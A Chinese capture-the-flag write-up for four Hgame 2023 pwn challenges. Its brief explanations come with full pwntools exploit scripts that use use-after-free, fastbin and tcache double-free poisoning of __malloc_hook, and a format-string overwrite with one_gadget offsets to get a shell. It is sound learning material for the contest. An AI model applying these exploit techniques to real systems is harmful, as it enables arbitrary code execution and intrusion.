2023 Hgame week2 Write Up

PWN By Comentropy

fast_note

libc2.23的uaf,所以还算简单,就先做这个了。题目可以打got表但是没有edit,所以我没打,我直接泄露libc之后打__malloc_hook了,one_gadget对栈内有些条件,所以用realloc前面几个push操作,调试满足one_gadget即可。exp如下:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from ckyan.pwn.my_script import *
# from ckyan.pwn.my_libcsearch import *

local = 1
debug = 1

binary = "./vuln"
elf = ELF(binary)

if local:
    p = process(binary)
    lib = "/lib/x86_64-linux-gnu/libc.so.6"
else:
    ip = ""
    port = ""
    p = remote(ip, port)
    lib = ""

init(lib, binary, p)
context = init_context(debug)

if lib != "":
    libc = ELF(lib)

if debug and local:
    ggdb()

name = lambda obj : [name for name in globals() if globals()[name] is obj][0]
lg   = lambda buf : lg_update(name(buf), buf)


def cmd(c):
    ru(b'>')
    sl(str(c))

def add(idx, size, content):
    cmd(1)
    ru(b'Index: ')
    sl(str(idx))
    ru(b'Size: ')
    sl(str(size))
    ru(b'Content: ')
    s(content)

def free(idx):
    cmd(2)
    ru(b'Index: ')
    sl(str(idx))

def show(idx):
    cmd(3)
    ru(b'Index: ')
    sl(str(idx))

add(0, 0x60, 'aaaa')
add(1, 0x60, 'bbbb')

free(1)
free(0)
free(1)

# 1 -> 0 -> 1
note_addr = 0x06020C0
fd = note_addr - 35 # 0x60209d

pad1 = b''
pad1 += p64(fd)
add(2, 0x60, pad1)

add(3, 0x60, b'cccc')
add(4, 0x60, b'dddd')

pad2 = b''
pad2 += b'a' * (35-0x10)
pad2 += p64(elf.got['puts'])
add(5, 0x60, pad2)

# raw_input()

show(0)
libc_base = r7f() - libc.sym['puts']
lg(libc_base)

# 0x7f57fdfc2aed
# 0x7f57fdfc2b10

fake_addr = libc.sym['__malloc_hook'] - 35

free(3)
free(4)
free(3)

# 3 -> 4 -> 3

pad3 = b''
pad3 += p64(fake_addr)
add(6, 0x60, pad3)

add(7, 0x60, b'eeee')
add(8, 0x60, b'ffff')

if local:
    one_gadgets = [0x40f30,0x40f35,0xd3fc8]
else:
    one_gadgets = [0x45226,0x4527a,0xf03a4,0xf1247]

pad4 = b''
pad4 += b'a' * 11
pad4 += p64(libc.address + one_gadgets[3])
pad4 += p64(libc.sym['realloc'] + 6)
add(9, 0x60, pad4)

# raw_input()

cmd(1)
ru(b'Index: ')
sl('10')
ru(b'Size: ')
sl('16')

sh()

editable_note

libc2.31的uaf,保护全开打不了got表(应该吧),所以依旧打__malloc_hook即可。因为有tcache所以用unsortedbin泄露的时候需要把tcache填满。然后就正常打即可,tcache我感觉比fastbin好打,没有size的检查,直接打就行。exp如下:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from ckyan.pwn.my_script import *
# from ckyan.pwn.my_libcsearch import *

local = 1
debug = 1

binary = "./vuln"
elf = ELF(binary)

if local:
    p = process(binary)
    lib = "/lib/x86_64-linux-gnu/libc.so.6"
else:
    ip = ""
    port = ""
    p = remote(ip, port)
    lib = ""

init(lib, binary, p)
context = init_context(debug)

if lib != "":
    libc = ELF(lib)

if debug and local:
    ggdb()

name = lambda obj : [name for name in globals() if globals()[name] is obj][0]
lg   = lambda buf : lg_update(name(buf), buf)

def cmd(c):
    ru(b'>')
    sl(str(c))

def add(idx, size):
    cmd(1)
    ru(b'Index: ')
    sl(str(idx))
    ru(b'Size: ')
    sl(str(size))

def free(idx):
    cmd(2)
    ru(b'Index: ')
    sl(str(idx))

def edit(idx, content):
    cmd(3)
    ru(b'Index: ')
    sl(str(idx))
    ru(b'Content: ')
    s(content)

def show(idx):
    cmd(4)
    ru(b'Index: ')
    sl(str(idx))

add(0, 0x80)

for i in range(1, 8):
    add(i, 0x80)

for i in range(1, 8):
    free(i)

free(0)
show(0)

malloc_hook = r7f() - 96 - 0x10
lg(malloc_hook)
libc_base = malloc_hook - libc.sym['__malloc_hook']
lg(libc_base)

# raw_input()

add(8, 0x20)
add(9, 0x20)

free(8)
free(9)

# 9 -> 8
pad1 = b''
pad1 += p64(malloc_hook)
edit(9, pad1)

# raw_input()

add(10, 0x20)
add(11, 0x20)

one_gadgets = [0xe3afe,0xe3b01,0xe3b04]

pad2 = b''
pad2 += p64(libc.address + one_gadgets[1])
edit(11, pad2)

# raw_input()

add(12, 0x10)

sh()

YukkuriSay

打格式化字符串的,然后控制rip即可,没有溢出而且开了canary,所以也要leak栈地址和libc基地址。因为栈内可写入很大,而且可以循环,所以很方便。我觉得需要注意的地方是格式化字符串打的并不在栈里,所以我是把传给bss段的payload和栈里的构造成一样的。应该有其他方式。我拿到shell就没再试了。exp如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from ckyan.pwn.my_script import *
# from ckyan.pwn.my_libcsearch import *

local = 1
debug = 1

binary = "./vuln"
elf = ELF(binary)

if local:
    p = process(binary)
    lib = "/lib/x86_64-linux-gnu/libc.so.6"
else:
    ip = ""
    port = ""
    p = remote(ip, port)
    lib = ""

init(lib, binary, p)
context = init_context(debug)

if lib != "":
    libc = ELF(lib)

if debug and local:
    ggdb()

name = lambda obj : [name for name in globals() if globals()[name] is obj][0]
lg   = lambda buf : lg_update(name(buf), buf)

ru(b'Yukkri say?\n')

pad1 = b''
pad1 += b'a' * 152
s(pad1)

libc_base = r7f() - libc.sym['_IO_2_1_stderr_']
lg(libc_base)

# raw_input()

ru(b'anything else?(Y/n)\n')
sl(b'y')

pad2 = b''
pad2 += b'a' * 0x100
s(pad2)

stack_addr = r7f()
lg(stack_addr)

# raw_input()

target = stack_addr - 8
one_gadgets = [0xe3afe, 0xe3b01, 0xe3b04]

ru(b'anything else?(Y/n)\n')
sl(b'y')

pad3 = fmtstr_payload(8,{target: libc.address+one_gadgets[1]})
s(pad3)

# raw_input()

ru(b'anything else?(Y/n)\n')
sl(b'n')
ru(b'gift for you: \n')

pad3 = fmtstr_payload(8,{target: libc.address+one_gadgets[1]})
s(pad3)

sh()

new_fast_note

刚拿到题,大概看了看,以为和2.23那个一样只是换了glibc版本,然后开始打tcache,但是可申请的堆数量太少(我太菜),所以我一直被卡住,然后发现这个题在malloc的时候取消了检查指针是否存在。。(以后一定认真看源码。。)所以就很简单了,把0x90和0x20的tcache填满,然后0x90进unsortedbin,leak libc_base,0x20用fastbin double free。因为fastbin会进tcache,所以不会检查size,很方便。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from ckyan.pwn.my_script import *
# from ckyan.pwn.my_libcsearch import *

local = 1
debug = 1

binary = "./vuln"
elf = ELF(binary)

if local:
    p = process(binary)
    lib = "/lib/x86_64-linux-gnu/libc.so.6"
else:
    ip = ""
    port = ""
    p = remote(ip, port)
    lib = ""

init(lib, binary, p)
context = init_context(debug)

if lib != "":
    libc = ELF(lib)

if debug and local:
    ggdb()

name = lambda obj : [name for name in globals() if globals()[name] is obj][0]
lg   = lambda buf : lg_update(name(buf), buf)

def cmd(c):
    ru(b'>')
    sl(str(c))

def add(idx, size, content):
    cmd(1)
    ru(b'Index: ')
    sl(str(idx))
    ru(b'Size: ')
    sl(str(size))
    ru(b'Content: ')
    s(content)

def free(idx):
    cmd(2)
    ru(b'Index: ')
    sl(str(idx))

def show(idx):
    cmd(3)
    ru(b'Index: ')
    sl(str(idx))

# leak libc_base
add(0, 0x80, b'aaaa')

for i in range(1, 8):
    add(i, 0x80, b'bbbb')

for i in range(1, 8):
    free(i)

free(0)
show(0)

malloc_hook = r7f() - 96 - 0x10
lg(malloc_hook)
libc_base = malloc_hook - libc.sym['__malloc_hook']
lg(libc_base)

# raw_input()

# double free
for i in range(7):
    add(i, 0x20, b'bbbb')

add(8, 0x20, b'bbbb')
add(9, 0x20, b'aaaa')

for i in range(7):
    free(i)

free(8)
free(9)
free(8)

for i in range(7):
    add(i, 0x20, b'bbbb')

one_gadgets = [0xe3afe,0xe3b01,0xe3b04]

pad1 = b''
pad1 += p64(malloc_hook)

add(0, 0x20, pad1)
add(1, 0x20, b'a')
add(2, 0x20, b'a')

pad2 = b''
pad2 += p64(libc.address + one_gadgets[1])

add(3, 0x20, pad2)

ru(b'>')
sl('1')
ru(b'Index: ')
sl('1')
ru(b'Size: ')
sl('1')

sh()
updatedupdated2023-04-172023-04-17
加载评论